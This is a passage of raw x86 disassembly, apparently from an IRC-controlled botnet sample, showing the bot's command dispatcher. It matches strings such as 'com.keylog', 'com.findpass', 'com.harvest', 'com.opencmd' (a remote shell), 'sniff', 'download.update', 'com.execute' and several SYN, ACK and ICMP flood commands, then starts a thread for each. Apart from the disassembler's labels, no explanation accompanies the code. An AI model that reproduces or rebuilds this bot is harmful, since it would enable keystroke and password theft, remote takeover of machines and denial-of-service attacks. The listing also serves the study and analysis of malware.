pop ecx jnz loc_410459 mov edi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_76C] push edi push eax call sub_418C10 mov eax, [ebp+esi+var_8C] push 7Fh mov [ebp+arg_18], eax push eax lea eax, [ebp+var_6EC] push eax call sub_418C10 mov esi, [ebp+esi+var_88] push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_568], eax mov eax, [ebp+var_8] push esi mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push edi push offset unk_437FC8 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 14h push eax call sub_416D5A add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_401831 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410448 loc_410432: ; CODE XREF: sub_40EE72+15D4j cmp [ebp+var_560], ebx jnz loc_41460A push 32h call near ptr 26004EDh nop jmp short loc_410432 ; --------------------------------------------------------------------------- loc_410448: ; CODE XREF: sub_40EE72+15BEj nop call near ptr 264030Ch push eax push offset unk_437F7C jmp loc_413BFB ; --------------------------------------------------------------------------- loc_410459: ; CODE XREF: sub_40EE72+14E6j push edi push offset aCom_sysinfo ; "com.sysinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414850 push edi push offset aCom_si ; "com.si" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414850 push edi push offset aIrc_rem0ve ; "irc.rem0ve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414816 push edi push offset aIrc_rm0 ; "irc.rm0" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414816 push edi push offset aCom_procs ; "com.procs" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470D push edi push offset aCom_ps ; "com.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470D push edi push offset aCom_harvest ; "com.harvest" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146EF push edi push offset aCom_key ; "com.key" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146EF push edi push offset aCom_uptime ; "com.uptime" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466A push edi push offset aCom_up ; "com.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466A push edi push offset aCom_driveinfo ; "com.driveinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464D push edi push offset aCom_drv ; "com.drv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464D push edi push offset aCom_testdlls ; "com.testdlls" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414634 push edi push offset aCom_dll ; "com.dll" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414634 push edi push offset aCom_opencmd ; "com.opencmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145C8 push edi push offset aCom_ocmd ; "com.ocmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145C8 push edi push offset aCom_ocmd_off ; "com.ocmd.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4105D2 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4105D2: ; CODE XREF: sub_40EE72+1746j push edi push offset aIrc_who ; "irc.who" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41065E cmp [ebp+var_8], ebx jnz short loc_410602 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_410602: ; CODE XREF: sub_40EE72+1774j mov edi, [ebp+arg_18] xor esi, esi loc_410607: ; CODE XREF: sub_40EE72+17DBj cmp [edi], bl lea eax, [edi+1] jnz short loc_410613 mov eax, offset aEmpty ; "<Empty>" loc_410613: ; CODE XREF: sub_40EE72+179Aj push eax push esi lea eax, [ebp+var_2DC] push offset aD_S ; "%d. %s" push eax call sub_4172AE push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_410607 push offset dword_437E50 loc_410654: ; CODE XREF: sub_40EE72+5C56j call sub_40BF6D jmp loc_414F44 ; --------------------------------------------------------------------------- loc_41065E: ; CODE XREF: sub_40EE72+176Fj push edi push offset aCom_getclip ; "com.getclip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41457F push edi push offset aCom_gc ; "com.gc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41457F push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414554 push edi push offset aUtil_farp ; "util.farp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414554 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414530 push edi push offset aUtil_fdns ; "util.fdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414530 push edi push offset aRoot_currentip ; "root.currentip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F3 push edi push offset aRoot_cip ; "root.cip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F3 push edi push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A2 push edi push offset aDaemon_rl_on ; "daemon.rl.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A2 push edi push offset aDaemon_httpd_o ; "daemon.httpd.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422C push edi push offset aDaemon_web_on ; "daemon.web.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422C push edi push offset aDaemon_tftp_on ; "daemon.tftp.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140EB push edi push offset aDaemon_tf_on ; "daemon.tf.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140EB push edi push offset aCom_findpass ; "com.findpass" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414041 push edi push offset aCom_fp ; "com.fp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414041 push edi push offset aAsc ; "asc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D42 push edi push offset aSa ; "sa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D42 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40F239 push [ebp+arg_8] push offset aIrc_nick ; "irc.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D26 push [ebp+arg_8] push offset aIrc_n ; "irc.n" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D26 push [ebp+arg_8] push offset aIrc_join ; "irc.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D03 push [ebp+arg_8] push offset aIrc_j ; "irc.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D03 push [ebp+arg_8] push offset aIrc_part ; "irc.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE7 push [ebp+arg_8] push offset aIrc_pt ; "irc.pt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE7 push [ebp+arg_8] push offset aIrc_raw ; "irc.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAD push [ebp+arg_8] push offset aIrc_ra ; "irc.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAD push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDB push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDB push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B32 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B32 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE4 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE4 push [ebp+arg_8] push offset aIrc_prefix ; "irc.prefix" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413ACF push [ebp+arg_8] push offset aIrc_pr ; "irc.pr" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413ACF push [ebp+arg_8] push offset aCom_open ; "com.open" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA5 push [ebp+arg_8] push offset aCom_o ; "com.o" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA5 push [ebp+arg_8] push offset aIrc_setserve ; "irc.setserve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8C push [ebp+arg_8] push offset aIrc_se ; "irc.se" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8C push [ebp+arg_8] push offset aIrc_dns ; "irc.dns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FA push [ebp+arg_8] push offset aIrc_dn ; "irc.dn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FA push [ebp+arg_8] push offset aCom_killprocna ; "com.killprocname" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139CE push [ebp+arg_8] push offset aCom_kpn ; "com.kpn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139CE push [ebp+arg_8] push offset aCom_prockillid ; "com.prockillid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413973 push [ebp+arg_8] push offset aCom_pkid ; "com.pkid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413973 push [ebp+arg_8] push offset aCom_delete ; "com.delete" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413938 push [ebp+arg_8] push offset aCom_del ; "com.del" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413938 push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41384E push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41384E push [ebp+arg_8] push offset aCom_filelist ; "com.filelist" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413830 push [ebp+arg_8] push offset aCom_fl ; "com.fl" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413830 push [ebp+arg_8] push offset aIrc_visit ; "irc.visit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41374F push [ebp+arg_8] push offset aIrc_v ; "irc.v" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41374F push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413714 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413714 push [ebp+arg_8] push offset aCom_cmd ; "com.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136C9 push [ebp+arg_8] push offset aCom_cm ; "com.cm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136C9 push [ebp+arg_8] push offset aCom_readfile ; "com.readfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413643 push [ebp+arg_8] push offset aCom_rf ; "com.rf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413643 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410CCC push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410C97 push 19h call sub_416FA2 test eax, eax pop ecx jle short loc_410BC1 push offset unk_437B84 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_410BC1: ; CODE XREF: sub_40EE72+1D43j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_410C03 mov esi, offset aF_1 ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410C03 mov esi, [ebp+var_8C] loc_410C03: ; CODE XREF: sub_40EE72+1D73j ; sub_40EE72+1D89j push esi lea eax, [ebp+var_4EC] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_437B44 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 19h push eax call sub_416D5A add esp, 14h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_402688 push ebx push ebx call near ptr 2670B28h nop mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410C86 loc_410C70: ; CODE XREF: sub_40EE72+1E12j cmp [ebp+var_460], ebx jnz loc_410E57 push 32h nop call near ptr 26004EDh jmp short loc_410C70 ; --------------------------------------------------------------------------- loc_410C86: ; CODE XREF: sub_40EE72+1DFCj call near ptr 264030Ch nop push eax push offset unk_437AF8 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410C97: ; CODE XREF: sub_40EE72+1D33j push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 19h call sub_416F55 pop ecx cmp eax, ebx pop ecx jle short loc_410CC5 push eax push offset unk_437AAC jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410CC5: ; CODE XREF: sub_40EE72+1E46j push offset unk_437A74 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410CCC: ; CODE XREF: sub_40EE72+1D1Ej push [ebp+arg_8] push offset aCom_keylog ; "com.keylog" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E81 push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aFile ; "file" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 1Bh call sub_416F55 pop ecx cmp eax, ebx pop ecx jle short loc_410D33 push eax push offset unk_437A1C jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410D33: ; CODE XREF: sub_40EE72+1EB4j push offset unk_4379E0 loc_410D38: ; CODE XREF: sub_40EE72+1D4Aj ; sub_40EE72+1E58j ... lea eax, [ebp+var_2DC] push eax call sub_4172AE pop ecx pop ecx jmp loc_410E57 ; --------------------------------------------------------------------------- loc_410D4B: ; CODE XREF: sub_40EE72+1E80j ; sub_40EE72+1E91j push 1Bh call sub_416FA2 test eax, eax pop ecx jle short loc_410D5E push offset unk_4379B0 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410D5E: ; CODE XREF: sub_40EE72+1EE3j mov eax, [ebp+arg_4] push edi mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_468], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410D8D mov [ebp+var_464], 1 jmp short loc_410D96 ; --------------------------------------------------------------------------- loc_410D8D: ; CODE XREF: sub_40EE72+1F0Dj mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_410D96: ; CODE XREF: sub_40EE72+1F19j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_410DBD mov esi, offset aF_0 ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410DBD mov esi, [ebp+var_8C] loc_410DBD: ; CODE XREF: sub_40EE72+1F2Dj ; sub_40EE72+1F43j push esi lea eax, [ebp+var_4E8] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_437980 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 1Bh push eax call sub_416D5A add esp, 14h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4023A7 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410E3C loc_410E2A: ; CODE XREF: sub_40EE72+1FC8j cmp [ebp+var_460], ebx jnz short loc_410E57 push 32h call near ptr 26004EDh nop jmp short loc_410E2A ; --------------------------------------------------------------------------- loc_410E3C: ; CODE XREF: sub_40EE72+1FB6j call near ptr 264030Ch nop push eax push offset unk_437934 loc_410E48: ; CODE XREF: sub_40EE72+1E20j ; sub_40EE72+1E4Ej ... lea eax, [ebp+var_2DC] push eax call sub_4172AE add esp, 0Ch loc_410E57: ; CODE XREF: sub_40EE72+1E04j ; sub_40EE72+1E34j ... cmp [ebp+var_8], ebx jnz loc_40F822 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410E81: ; CODE XREF: sub_40EE72+1E6Bj push [ebp+arg_8] push offset aCom_net ; "com.net" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_411114 cmp dword_43F738, ebx jz short loc_410EB2 cmp dword_43F760, ebx jz short loc_410EB2 push offset dword_4378E4 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_40EE72+202Cj ; sub_40EE72+2034j cmp [ebp+var_C], ebx jz loc_4110DC mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_410EDA push eax push [ebp+var_C] call sub_417880 pop ecx mov [ebp+arg_0], eax pop ecx loc_410EDA: ; CODE XREF: sub_40EE72+2058j push edi push offset aStart ; "start" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F26 cmp [ebp+arg_18], ebx jz short loc_410EFA push [ebp+arg_0] push 3 jmp loc_410F84 ; --------------------------------------------------------------------------- loc_410EFA: ; CODE XREF: sub_40EE72+207Cj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D9B3 add esp, 0Ch test eax, eax jz short loc_410F1C push offset dword_4378B0 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F1C: ; CODE XREF: sub_40EE72+209Ej push offset dword_437880 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F26: ; CODE XREF: sub_40EE72+2077j push edi push offset aStop ; "stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F3E push [ebp+arg_0] push 4 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F3E: ; CODE XREF: sub_40EE72+20C3j push edi push offset aPause ; "pause" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F56 push [ebp+arg_0] push 5 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F56: ; CODE XREF: sub_40EE72+20DBj push edi push offset aContinue ; "continue" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F6E push [ebp+arg_0] push 6 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F6E: ; CODE XREF: sub_40EE72+20F3j push edi push offset aDelete ; "delete" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F90 push [ebp+arg_0] push 1 loc_410F84: ; CODE XREF: sub_40EE72+2083j ; sub_40EE72+20CAj ... call sub_40D719 pop ecx pop ecx jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410F90: ; CODE XREF: sub_40EE72+210Bj push edi push offset aShare ; "share" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410FFB cmp [ebp+arg_18], ebx jz short loc_410FCE cmp [ebp+var_9C4], bl jz short loc_410FC1 push ebx push [ebp+arg_18] push 1 loc_410FB4: ; CODE XREF: sub_40EE72+215Aj call sub_40DAF0 add esp, 0Ch jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410FC1: ; CODE XREF: sub_40EE72+213Aj push [ebp+esi+var_88] push [ebp+arg_18] push ebx jmp short loc_410FB4 ; --------------------------------------------------------------------------- loc_410FCE: ; CODE XREF: sub_40EE72+2132j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40DCE6 add esp, 10h test eax, eax jz short loc_410FF1 push offset dword_437830 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FF1: ; CODE XREF: sub_40EE72+2173j push offset dword_437800 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FFB: ; CODE XREF: sub_40EE72+212Dj push edi push offset aUser ; "user" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41107E mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_411057 cmp [ebp+var_9C4], bl jz short loc_41102D push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_41102D: ; CODE XREF: sub_40EE72+21A7j push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_411051 push esi push eax push ebx loc_411047: ; CODE XREF: sub_40EE72+21B9j ; sub_40EE72+21E3j call sub_40DE07 add esp, 18h jmp short loc_4110AB ; --------------------------------------------------------------------------- loc_411051: ; CODE XREF: sub_40EE72+21D0j push ebx push eax push 2 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_411057: ; CODE XREF: sub_40EE72+219Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40E337 add esp, 10h test eax, eax jz short loc_411077 push offset dword_4377C8 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_411077: ; CODE XREF: sub_40EE72+21FCj push offset dword_43779C jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_41107E: ; CODE XREF: sub_40EE72+2198j push edi push offset aSend ; "send" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4110C9 cmp [ebp+arg_18], ebx jz short loc_4110C2 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40E5EB add esp, 10h loc_4110AB: ; CODE XREF: sub_40EE72+2119j ; sub_40EE72+214Aj ... push eax push offset aS_1 ; "%s" loc_4110B1: ; CODE XREF: sub_40EE72+4852j ; sub_40EE72+4B79j ... lea eax, [ebp+var_2DC] push eax call sub_4172AE loc_4110BD: ; CODE XREF: sub_40EE72+5701j add esp, 0Ch jmp short loc_4110DC ; --------------------------------------------------------------------------- loc_4110C2: ; CODE XREF: sub_40EE72+2220j push offset dword_43776C jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_40EE72+221Bj push offset dword_437740 loc_4110CE: ; CODE XREF: sub_40EE72+203Bj ; sub_40EE72+20A5j ... lea eax, [ebp+var_2DC] push eax call sub_4172AE pop ecx pop ecx loc_4110DC: ; CODE XREF: sub_40EE72+2043j ; sub_40EE72+224Ej ... cmp [ebp+var_8], ebx jnz short loc_4110FD push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4110FD: ; CODE XREF: sub_40EE72+226Dj ; sub_40EE72+4847j ... mov esi, [ebp+arg_24] loc_411100: ; CODE XREF: sub_40EE72+9B3j ; sub_40EE72+4B35j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx mov eax, esi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_411114: ; CODE XREF: sub_40EE72+2020j push [ebp+arg_8] push offset aCom_capture ; "com.capture" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413400 push [ebp+arg_8] push offset aCom_cap ; "com.cap" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413400 push [ebp+arg_8] push offset aIrc_gethost ; "irc.gethost" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413312 push [ebp+arg_8] push offset aIrc_gh ; "irc.gh" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413312 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40F239 push [ebp+arg_8] push offset aIrc_addalias ; "irc.addalias" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E0 push [ebp+arg_8] push offset aIrc_aa ; "irc.aa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E0 push [ebp+arg_8] push offset aIrc_privmsg ; "irc.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328A push [ebp+arg_8] push offset aIrc_pm ; "irc.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328A push [ebp+arg_8] push offset aIrc_action ; "irc.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413224 push [ebp+arg_8] push offset aIrc_ac ; "irc.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413224 push [ebp+arg_8] push offset aIrc_cycle ; "irc.cycle" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BB push [ebp+arg_8] push offset aIrc_cy ; "irc.cy" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BB push [ebp+arg_8] push offset aIrc_mode ; "irc.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413181 push [ebp+arg_8] push offset aIrc_m ; "irc.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413181 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413113 push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413113 push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41308E push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41308E push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413022 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413022 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFC push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFC push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F99 push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F99 push [ebp+arg_8] push offset aIrc_repeat ; "irc.repeat" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED0 push [ebp+arg_8] push offset aIrc_rp ; "irc.rp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED0 push [ebp+arg_8] push offset aIrc_delay ; "irc.delay" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E33 push [ebp+arg_8] push offset aIrc_de ; "irc.de" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E33 push [ebp+arg_8] push offset aDownload_updat ; "download.update" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CAF push [ebp+arg_8] push offset aDownload_up ; "download.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CAF push [ebp+arg_8] push offset aCom_execute ; "com.execute" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1C push [ebp+arg_8] push offset aCom_e ; "com.e" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1C push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1B push [ebp+arg_8] push offset aFf ; "ff" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1B push [ebp+arg_8] push offset aCom_rename ; "com.rename" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412AC9 push [ebp+arg_8] push offset aCom_mv ; "com.mv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412AC9 push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129C8 push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129C8 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40F239 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DD push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DD push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DA push [ebp+arg_8] push offset aDdos_synf ; "ddos.synf" call sub_4176D0 pop ecx test eax, eax pop ecx jz 